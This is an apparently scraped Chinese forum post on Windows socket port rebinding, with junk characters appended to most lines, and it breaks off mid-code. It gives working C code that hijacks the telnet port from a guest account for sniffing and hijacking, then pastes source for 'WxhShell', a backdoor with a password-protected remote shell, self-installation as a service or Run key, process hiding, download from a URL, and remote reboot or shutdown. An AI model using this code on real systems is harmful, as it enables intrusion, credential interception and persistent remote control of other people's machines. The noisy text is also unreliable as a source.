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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i!eY"|o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /#j)GlNp:  
_&[-< cu  
  saddr.sin_family = AF_INET; yq!peFu  
&~'i,v|E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8! /ue.T  
4{G>T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &{q<  
2InM(p7j~K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i-. AD4  
v=cX.^ L  
  这意味着什么?意味着可以进行如下的攻击: A@-U#UvN  
*?A!`JpJn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qRz /$|.  
&q M8)2Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *;Cpz[N  
F I~=A/:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <U8w#dc  
5W=Jn?y2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'T7Y5X80$j  
6PC?*^v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \7IT[<Se  
8idIJm%y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 = J]M#6N0  
dp4vybJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \f=kQbM  
4J?\JcGs  
  #include 4~8-^^  
  #include qn'TIE.  
  #include Mb45UG#2  
  #include    ~Q5]?ZNX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ='@ k>Ka+  
  int main() JB=L{P J  
  { &|' NDcp  
  WORD wVersionRequested; 4n1 g@A=y  
  DWORD ret; #K iqV6E  
  WSADATA wsaData; 'I:_}q  
  BOOL val; o)$eIu}Wg  
  SOCKADDR_IN saddr; F? ps? e  
  SOCKADDR_IN scaddr; +}Mm5^6*  
  int err; I3}]MAE  
  SOCKET s; n xR\tBv  
  SOCKET sc; vZs~=nfi#|  
  int caddsize; 3+q-yP#X  
  HANDLE mt; =@q,/FR-  
  DWORD tid;   %!A-K1Z\D  
  wVersionRequested = MAKEWORD( 2, 2 ); hh2&FI  
  err = WSAStartup( wVersionRequested, &wsaData ); ] mK{E~Zll  
  if ( err != 0 ) { t< RPDQ>  
  printf("error!WSAStartup failed!\n"); fI'+4 )@x  
  return -1; F8M};&=*1r  
  } Wg<o%6`  
  saddr.sin_family = AF_INET; %(H' j@D[  
   <q Q@OUI   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &JD^\+7U:  
Dz/MIx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P"Z1K5>2L  
  saddr.sin_port = htons(23); \< a^5'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c?aOX/C'  
  { f9+6gY  
  printf("error!socket failed!\n"); TI0=nfj  
  return -1; JSaF7(a =  
  } Cv4nl7A'  
  val = TRUE; m Ph=bG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  +ZFN8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (]10Z8"fJ  
  { 6E(..fo:"  
  printf("error!setsockopt failed!\n"); B|{E[]iK  
  return -1; ;Cjj_9e,:  
  } W@zu N)U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n</Rd=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ll VbY=EX7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bfpoX,:   
c `.BN(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  -rT#Wi  
  { $Il  
  ret=GetLastError(); "|R75m,Id  
  printf("error!bind failed!\n"); XN{zl*`  
  return -1; tCA0H\';  
  } Lf%}\0:  
  listen(s,2); 4$U^)\06W  
  while(1) %c%`< y<~L  
  { q]*jTb  
  caddsize = sizeof(scaddr); ->7zVAX  
  //接受连接请求 WMWUP ZsGS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nKI?Sc  
  if(sc!=INVALID_SOCKET) #q-fRZ:P  
  { tCPK_Wws?Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h-SKw=n  
  if(mt==NULL) fr$6&HDZ9  
  { ~&+a.@T  
  printf("Thread Creat Failed!\n"); A5]yC\*zt  
  break; I[w5V;>*  
  } nE2?3S>  
  } >+>N/`BG  
  CloseHandle(mt); `O;4 b#!g  
  } N[v=;&  
  closesocket(s); ={;+0Wjb8  
  WSACleanup(); L]&y[/\E1  
  return 0; kLpq{GUv:  
  }   WT3g31  
  DWORD WINAPI ClientThread(LPVOID lpParam) Lw1[)Vk}E  
  { _}T )\o   
  SOCKET ss = (SOCKET)lpParam;  o|#F@L3i  
  SOCKET sc; G2+ gEg  
  unsigned char buf[4096]; (v? rZv  
  SOCKADDR_IN saddr; ELG9ts+5Uj  
  long num; Dca,IaT'  
  DWORD val; 6BM$u v4  
  DWORD ret; v (S h+p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rw0s$~'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E\cX  
  saddr.sin_family = AF_INET; o)DO[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $j v"$0Fc  
  saddr.sin_port = htons(23); Y> ~jho  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -w5sXnS  
  { _={mKKoHs  
  printf("error!socket failed!\n"); GhjqStjS&l  
  return -1; IY mkZ?cW  
  } ;cp||uO  
  val = 100; UISsiiG(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UdA,.C0  
  { zAJC-YC6  
  ret = GetLastError(); peOoZdJd  
  return -1; 9>`dB  
  } | qelvK*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]#G1 ]U  
  { <E^;RG  
  ret = GetLastError(); Ae"|a_>fMI  
  return -1; _5$L`&  
  } s~ o\j/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HEhBOER?  
  { 8LXK3D}?3  
  printf("error!socket connect failed!\n"); c"t&,OU:  
  closesocket(sc); $&Z#2 X.  
  closesocket(ss); l0g+OMt  
  return -1; p1mAoVxR  
  } /;E=)(w  
  while(1) }jdmeD:  
  { wqJl[~O$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 giW9b_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 141xi;o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 40dwp*/!  
  num = recv(ss,buf,4096,0); KDA2 H>  
  if(num>0) *Ue#Sade  
  send(sc,buf,num,0); jtE'T}!d  
  else if(num==0) [8oX[oP  
  break; 7+hc?H[&'  
  num = recv(sc,buf,4096,0); dNov= w  
  if(num>0) i<=2 L?[.I  
  send(ss,buf,num,0); cjd-B:l  
  else if(num==0) 8+32hg@^F  
  break; b5f+q:?{  
  } h%v qt~0  
  closesocket(ss); LW">9 ;n  
  closesocket(sc); c+8 Y|GB  
  return 0 ; jyidNPLm4  
  } j_0l'Saj  
-@B6$XWL  
+"~*L,ken0  
========================================================== .1ep8O<  
ejbtdU8N<  
下边附上一个代码,,WXhSHELL [lK`~MlQ  
y$6EEp  
========================================================== 'GO *6$/  
e:_[0#  
#include "stdafx.h" T]b&[?p|a[  
g9d/nR X&  
#include <stdio.h> !<b+7 A  
#include <string.h> */$]kE  
#include <windows.h> Mi F( &#  
#include <winsock2.h> ?g0dr?H  
#include <winsvc.h> v3kT~uv  
#include <urlmon.h> k ,r*xt  
f3:dn7  
#pragma comment (lib, "Ws2_32.lib") Q trU_c2k  
#pragma comment (lib, "urlmon.lib") LJt5?zQKrW  
Qkw_9  
#define MAX_USER   100 // 最大客户端连接数 t_(S e  
#define BUF_SOCK   200 // sock buffer &b2@+/ F  
#define KEY_BUFF   255 // 输入 buffer s= z$;1C  
l}#d^S/  
#define REBOOT     0   // 重启 2(Yt`3Go(  
#define SHUTDOWN   1   // 关机 yHZ&5  
n-<`Z NMU  
#define DEF_PORT   5000 // 监听端口 T/J1 b-  
$%ww$3  
#define REG_LEN     16   // 注册表键长度 9,"gXsvx(  
#define SVC_LEN     80   // NT服务名长度 oB '5':  
<UGM/+aO  
// 从dll定义API ww'B!Ml>F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eQqCRXx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^a!oq~ZSy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m}6>F0Kv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `;m0GU68  
Kf$6D 79#  
// wxhshell配置信息 ^lK!tOeO  
struct WSCFG { = Fq{#sC>  
  int ws_port;         // 监听端口 {WeRFiQ?-  
  char ws_passstr[REG_LEN]; // 口令 yDpv+6(a  
  int ws_autoins;       // 安装标记, 1=yes 0=no yV&]i-ey  
  char ws_regname[REG_LEN]; // 注册表键名 f.R;<V.)  
  char ws_svcname[REG_LEN]; // 服务名 xz7CnW1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +5kQ;D{+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *_a jb:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'w|N} 4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vQDR;T"]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 90H/Txq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )>;387'Y  
&G3$q,`H  
}; 5iGz*_ m  
KT<N ;[;  
// default Wxhshell configuration Ow-;WO_HQ  
struct WSCFG wscfg={DEF_PORT, u(`7F(R  
    "xuhuanlingzhe", J%E0Wd  
    1, h{?f uoZj%  
    "Wxhshell", Lk-h AN{[  
    "Wxhshell", nyG5sWMpe  
            "WxhShell Service", Z/;8eb*B7  
    "Wrsky Windows CmdShell Service", gM6o~ E  
    "Please Input Your Password: ", Jf@Xz7{z  
  1, mVT[:a3  
  "http://www.wrsky.com/wxhshell.exe", ^)3=WD'!  
  "Wxhshell.exe" `0R>r7f)H  
    }; s-l3_210  
gO]8hLT  
// 消息定义模块 >vuR:4B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U8zs=tA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1L3 $h0i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3tmS/ tQp  
char *msg_ws_ext="\n\rExit."; sWP_fb1  
char *msg_ws_end="\n\rQuit."; mWVq>~  
char *msg_ws_boot="\n\rReboot..."; n."XiXsN  
char *msg_ws_poff="\n\rShutdown..."; ZP.~Y;Ch;-  
char *msg_ws_down="\n\rSave to "; ]pVuRj'pP  
R>,_C7]u  
char *msg_ws_err="\n\rErr!"; 2o0WS~}5  
char *msg_ws_ok="\n\rOK!"; [Lf8*U"  
2W)KfS  
char ExeFile[MAX_PATH]; LO)QEUG  
int nUser = 0; IXR%IggJA  
HANDLE handles[MAX_USER]; <!?ZH"F0  
int OsIsNt; X@~R<  
P0-K/_g  
SERVICE_STATUS       serviceStatus; 4uv*F:eo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {\ BFWGX  
:Z3]Dk;y  
// 函数声明 KhyGz"I!@$  
int Install(void); VS5D)5w#  
int Uninstall(void); k| >zauK  
int DownloadFile(char *sURL, SOCKET wsh); &LhR0A  
int Boot(int flag); +?0r%R%\  
void HideProc(void); ?a~#`<  
int GetOsVer(void); x\5\KGw16  
int Wxhshell(SOCKET wsl); I -V=Z:  
void TalkWithClient(void *cs); 3MHByT %  
int CmdShell(SOCKET sock); ^ }|$_  
int StartFromService(void); ET~^P  
int StartWxhshell(LPSTR lpCmdLine); va;fT+k=  
hDTM\>.c;s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AH# Dk5#G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >NBwtF>  
B|- W  
// 数据结构和表定义 RG`eNRTQ%  
SERVICE_TABLE_ENTRY DispatchTable[] = ;VgB!  
{ sW@_q8lG  
{wscfg.ws_svcname, NTServiceMain}, HhB' ^)  
{NULL, NULL} 8s6^!e&  
}; S6c>D&Q  
ajD/)9S  
// 自我安装 oMF[<Xf  
int Install(void) jp#/]>(9Z  
{ lD?]D&  
  char svExeFile[MAX_PATH]; PKt;]T0  
  HKEY key; n`|CD Kb  
  strcpy(svExeFile,ExeFile); DbH'Qs?z  
tL S$D-  
// 如果是win9x系统,修改注册表设为自启动 X%Ta?(9|.^  
if(!OsIsNt) { F3<Ip~K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Q,9 [k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8>ODtKI *  
  RegCloseKey(key); 4tFnZ2x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V%n7 h&\%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nbSu|sX~r5  
  RegCloseKey(key); 6 G?7>M  
  return 0; XM?C7/^k  
    } EdS7m,d  
  } p/Lk'h~  
} $R/@%U)-o  
else { 4d $T6b  
n,%/cUl  
// 如果是NT以上系统,安装为系统服务 J8PZVeWx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QhmOO-Z?  
if (schSCManager!=0) p(x<h  
{ ,IQ%7*f;O_  
  SC_HANDLE schService = CreateService ^97\TmzP{  
  ( ]Kp -2KW  
  schSCManager, .7MLgC;  
  wscfg.ws_svcname, H.[t&VO  
  wscfg.ws_svcdisp, +&8'@v$  
  SERVICE_ALL_ACCESS, !i?aRI/6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6YYDp&nqEj  
  SERVICE_AUTO_START, }y#aO  
  SERVICE_ERROR_NORMAL, $D(q  
  svExeFile, XQ$9E?|=  
  NULL, kaZ_ra;<  
  NULL, 5q{ -RJ  
  NULL, 6ragRS/'x  
  NULL, -Oc  
  NULL TvwkeOS#}7  
  ); BYWs\6vK  
  if (schService!=0) F}=O Mo:.  
  { rd4mAX6@  
  CloseServiceHandle(schService); yo"!C?82=  
  CloseServiceHandle(schSCManager); I8{ohFFo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hC...tk  
  strcat(svExeFile,wscfg.ws_svcname); .*g^ i`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \-R\xL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3\&I7o3V  
  RegCloseKey(key); Hrj@I?4  
  return 0; r>x>aJ  
    } 1c}LX.9K  
  } UaV8 !Z>  
  CloseServiceHandle(schSCManager); R'x^Y"  
} n3JSEu;J  
} k2ZMDU  
#kPsg9Y  
return 1; tY6QhhuS:  
} R)BH:wg"  
u13v@<HGc  
// 自我卸载 spv'r!*\ed  
int Uninstall(void) yh"48@L'D  
{ qBXIR }  
  HKEY key; ,S\AUUt%  
<%EjrjdvL+  
if(!OsIsNt) { )SsO,E+t=U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I=}pT50~9  
  RegDeleteValue(key,wscfg.ws_regname); T96M=?wh!  
  RegCloseKey(key); &U0Y#11Cx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cy'! >  
  RegDeleteValue(key,wscfg.ws_regname); 8c0ugM  
  RegCloseKey(key); &1,{.:@e  
  return 0; gtw?u b  
  } N2e]S8-  
} b<"LUM*;  
} eCXw8  
else { /F7X"_(H  
6V6,m4e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2kVQ#JyuRI  
if (schSCManager!=0) cux<7#6af  
{ s.9_/cFWB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T +~ _D  
  if (schService!=0) j<C p&}X  
  { kCZxv"Ts  
  if(DeleteService(schService)!=0) { 6T ,'Oz  
  CloseServiceHandle(schService); E.+BqWZ!  
  CloseServiceHandle(schSCManager); O t1:z:Pl  
  return 0; AG(Gtvw  
  } #CTHCwYo  
  CloseServiceHandle(schService); b 3i34,  
  } GP;UuQz  
  CloseServiceHandle(schSCManager); gWpG-RL0  
} i!dQ Sdf  
} ^A' Bghy  
$V2.@ X  
return 1; ?-D'xqc  
} U((mOm6  
8$C?j\J|*  
// 从指定url下载文件 l~*D jr~  
int DownloadFile(char *sURL, SOCKET wsh) (|U|>@  
{ <n{-& ;>  
  HRESULT hr; (H-}z`sy/@  
char seps[]= "/"; .l}oxWWoS  
char *token; /aX 5G  
char *file;  WDq~mi  
char myURL[MAX_PATH]; ?)L X4GY  
char myFILE[MAX_PATH]; Z]x)d|3;  
%m?$"<q_K  
strcpy(myURL,sURL); t 'im\_$F  
  token=strtok(myURL,seps); MZK%IC>  
  while(token!=NULL) @w{"6xc%a  
  { rw]7Lr_>  
    file=token; !R@s+5P)U  
  token=strtok(NULL,seps); !@wG22iC4d  
  } a?P$8NLr  
bFtzwa5Gc  
GetCurrentDirectory(MAX_PATH,myFILE); a<d$P*I(cH  
strcat(myFILE, "\\"); Gn} ^BJN  
strcat(myFILE, file); 3~6,fTMz{  
  send(wsh,myFILE,strlen(myFILE),0); )R@M~d-o  
send(wsh,"...",3,0); [2Ot=t6]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gq[`g=x  
  if(hr==S_OK) n+%tu"e  
return 0; <Pg<F[eDM  
else S1G3xY$0  
return 1; /Vy,6:$H3  
nMU[S +  
} !y syb  
=VOl  *  
// 系统电源模块 1G62Qu$O  
int Boot(int flag) l_z@.</8P@  
{ ?Y | *EH  
  HANDLE hToken; A!.* eIV|  
  TOKEN_PRIVILEGES tkp; TATH,Sz:x  
!:|[?M.`  
  if(OsIsNt) { Ye"#tCOEG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k*Vf2O3${  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JTI 'W  
    tkp.PrivilegeCount = 1; o dTg.m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZK8I f?SD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AagWswv{Bf  
if(flag==REBOOT) { 4,P!D3SH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )'Yoii{dSU  
  return 0; ^":Dk5gl  
} Y~+`F5xX<  
else { 3&ES?MyB#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KuohUH+  
  return 0; )o>1=Y`[z  
} Z5%TpAu[  
  } _rjLCvv-  
  else { aB+B1YdY"  
if(flag==REBOOT) { Th(F^W9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [*|QA 9  
  return 0; 6A \Z221E  
} I7/X6^/}  
else { <"rckPv_H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x.-d>8-!]c  
  return 0; I'%(f@u~  
} n`af2I2  
} SP |R4*KY  
TDnbX_xC<  
return 1; LwL\CE_6+  
}  e+=IGYC  
}R]^%q@&  
// win9x进程隐藏模块 L.M|o  
void HideProc(void) ;UB$Uqs6  
{ *)H&n>"e  
ezR!ngt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `GD>3-   
  if ( hKernel != NULL ) 7TN94@kCF  
  { {f }4l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uRu)iBd D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +m8gS;'R4  
    FreeLibrary(hKernel); gQ=g,X4  
  } ,J0BG0jB^u  
@JL+xfz  
return; "p{cz(  
} kW=GFj)L  
%Kq`8  
// 获取操作系统版本 zz+p6`   
int GetOsVer(void) 4z##4^9g  
{ A/4HR]  
  OSVERSIONINFO winfo; fQB>0RR2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `/z6 Q"  
  GetVersionEx(&winfo); T]fu[yRVvg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eHjn<@  
  return 1; \|}dlG  
  else URFp3qE  
  return 0; lV0\UySH  
} bf3Njma%  
KiJRq>  
// 客户端句柄模块 Pkbx /\  
int Wxhshell(SOCKET wsl) 6SIk,Isy8  
{ >_4Ck{^d#  
  SOCKET wsh; u(s/4Lu  
  struct sockaddr_in client; 07_ym\N  
  DWORD myID; hF!t{ Lf3  
'>]9efJA  
  while(nUser<MAX_USER) lo*)% fy  
{ ?1?zma S  
  int nSize=sizeof(client); K;u<-?En  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WmRx_d_  
  if(wsh==INVALID_SOCKET) return 1; Qw ukhD7  
9;^r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qv%"iSe~J  
if(handles[nUser]==0) ]S6`",+)<f  
  closesocket(wsh); hwaU;>F  
else &_^t$To  
  nUser++; ^qaS  
  } p. eq N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TRl,L5wd-?  
c7[<X<yk  
  return 0; _JZw d9K  
} G $TLWfm  
-Cjc~{B>7X  
// 关闭 socket +ou ]|  
void CloseIt(SOCKET wsh) *Op;].>E  
{ iwnctI  
closesocket(wsh); :@:i*2=  
nUser--; p9;Oe,Il  
ExitThread(0); FYI*44E  
} y mdZ#I-  
El;\#la  
// 客户端请求句柄 W)dQ yZ>J  
void TalkWithClient(void *cs) B&~#.<23:  
{ 8IYn9<L  
v2e*mNK5  
  SOCKET wsh=(SOCKET)cs; {8)Pke  
  char pwd[SVC_LEN]; .Vm!Ng )j  
  char cmd[KEY_BUFF]; d`he Wv^/`  
char chr[1]; }Km+5'G'U  
int i,j; o5 UM)g  
x=g=e <_  
  while (nUser < MAX_USER) { Wj"\nT4  
4+ BWHV  
if(wscfg.ws_passstr) { }pJ6CW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L*xu<(>K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  -a``  
  //ZeroMemory(pwd,KEY_BUFF); *9#6N2J$M  
      i=0; CdCo+U5z{  
  while(i<SVC_LEN) { UEZnd8  
>wz& {9ni  
  // 设置超时 -}u=tiNG  
  fd_set FdRead; e>zCzKK  
  struct timeval TimeOut; F-L!o8o  
  FD_ZERO(&FdRead); KMO(f!?  
  FD_SET(wsh,&FdRead); ,(H`E?m1w4  
  TimeOut.tv_sec=8; D00I!D16  
  TimeOut.tv_usec=0; EwvW: t1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); = GN1l[X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j_::#?o!/  
lSGtbSyDI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L*a:j  
  pwd=chr[0]; Lnin;0~{  
  if(chr[0]==0xd || chr[0]==0xa) { oy8L{8?  
  pwd=0; zX{O"w  
  break; sw<mmayN  
  } O$F<x,  
  i++; b@GL*Z  
    } dQX<X}  
H =Y7#{}  
  // 如果是非法用户,关闭 socket }HO3D.HE^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d']CBoK  
} |;~kHc$W  
%N jRD|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,8=`Y9#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B|\pzWD%  
5<Ly^Na:  
while(1) { C[E[|s*l  
!V<c:6"  
  ZeroMemory(cmd,KEY_BUFF); RKIBFP8.  
'CF?pxNQ l  
      // 自动支持客户端 telnet标准   OvL@@SX |  
  j=0; ,\YlDcl':0  
  while(j<KEY_BUFF) { DrAp&A|WV|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VFmG\  
  cmd[j]=chr[0]; )4nf={iM  
  if(chr[0]==0xa || chr[0]==0xd) { 4b\R@Knu  
  cmd[j]=0; .<#oLM^  
  break;  Ptt  
  } $&fP%p  
  j++; 7T\LYDT  
    } [Sj _=  
buj *L&  
  // 下载文件 j7(S=  
  if(strstr(cmd,"http://")) { ??]b,f4CNa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B;vpG?s{9  
  if(DownloadFile(cmd,wsh)) E;o "^[we  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]QJ N` ;b0  
  else YcRo>:I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TPBL|^3K  
  } x(]Um!  
  else { ,(;TV_@$  
Hf$pwfGcY]  
    switch(cmd[0]) { IYG,nt !  
  vk jHh.  
  // 帮助 ku3(cb!2  
  case '?': { dED&-e#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZZ? KD\S5  
    break; a>o]garB+  
  }  Qi;62M  
  // 安装 l-gNJ=l+K  
  case 'i': { (nDen5Q|  
    if(Install()) {W' 9k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); it.'.aK4  
    else W2w A66MB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _O$7*k  
    break; "9v4'"  
    } lf9mdbm  
  // 卸载 _'}Mg7,V  
  case 'r': { j /)A<j$  
    if(Uninstall()) PK&\pkX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E4cPCQyeH  
    else /cX%XZg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =M],5<2;  
    break; khb/"VYd  
    } WNK)IC~c  
  // 显示 wxhshell 所在路径 2[X\*"MQ2  
  case 'p': { KBg5 _+l  
    char svExeFile[MAX_PATH]; {3qlx1w  
    strcpy(svExeFile,"\n\r"); F@ld#O  
      strcat(svExeFile,ExeFile); Fzk%eHG=  
        send(wsh,svExeFile,strlen(svExeFile),0); G6XDPr:}  
    break; =,J-D6J?  
    } i `7(5L~`  
  // 重启 0..]c-V(G  
  case 'b': { 2u%YRrp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SH5a&OVZhn  
    if(Boot(REBOOT)) y4N2gBTKu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +lhnc{;WJv  
    else { 2rWPqG4e  
    closesocket(wsh); l\_81oZ  
    ExitThread(0); k9!eu j&  
    } Jy P$'v~  
    break; x0||'0I0  
    } fn, YH  
  // 关机 6^sH3=#  
  case 'd': { c+ukVn`r  
